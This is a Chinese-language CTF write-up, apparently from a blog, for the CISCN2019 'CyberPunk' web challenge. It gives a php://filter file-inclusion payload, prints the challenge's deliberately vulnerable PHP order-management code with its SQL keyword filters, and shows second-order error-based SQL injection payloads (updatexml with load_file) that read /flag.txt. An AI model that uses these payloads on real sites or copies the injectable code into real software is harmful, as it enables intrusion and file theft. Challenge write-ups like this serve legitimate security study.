[CISCN2019 华北赛区 Day1 Web5]CyberPunk(php://伪协议,报错注入,二次注入)

进到页面:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk(php://伪协议,报错注入,二次注入)_第1张图片
(说到赛博朋克,tM居然跳票了,令人烦躁)
老规矩F12:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk(php://伪协议,报错注入,二次注入)_第2张图片
有个hint,见到file就想到了熟悉的php://伪协议,payload:

/index.php?file=php://filter/convert.base64-encode/resource=index.php

返回一大串base64编码内容,解码一下:

<?php
//index.php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}

依次读取其他php文件:

<?php
//search.php
require_once "config.php"; 
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "

姓名:".$row['user_name']."

, 电话:".$row['phone']."

, 地址:".$row['address']."

"
; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>
<?php
//confirm.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>
<?php
//change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<?php
//delete.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

啊,又是好多代码,慢慢看吧:
发现也没什么,就是sql的增删改查,然后加上一些限制,那就很明显是sql注入的题目了。
总结一下:
search,confirm,change,delete都对传入的user_name和phone进行了正则匹配,那如果从这两块入手以我的的水平肯定不行,不过在change里看到了:

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

在修改地址的时候,题目还把旧地址存了下来,那么只要在旧地址中插入一个可以引起回显的sql语句,再使用修改收货地址界面触发sql语句就能达到二次注入(应该算二次注入吧)的目的产生回显。思路应该没错,但是我太菜了,没想到报错注入,搜了一下报错注入,然后先删除订单,重新填写:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk(php://伪协议,报错注入,二次注入)_第3张图片
地址:

1' where user_id=updatexml(1,concat(0x7e,(load_file('/flag.txt'),1,20),0x7e),1)#

[CISCN2019 华北赛区 Day1 Web5]CyberPunk(php://伪协议,报错注入,二次注入)_第4张图片
随意修改地址,触发sql语句:
在这里插入图片描述
额,显示不全,那用substr取后面一段,数了一下从20开始吧,先到个50吧:
清空订单,重新操作:
地址:

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

然后修改:
在这里插入图片描述
得到flag。
这里只要能触发都是可以的,不纠结一定要按我这个顺序来。还有为什么知道在flag.txt中,因为我看了wp,不知道当时比赛有没有给个flag的位置,不然只能靠猜?

你可能感兴趣的:(buuctf_web)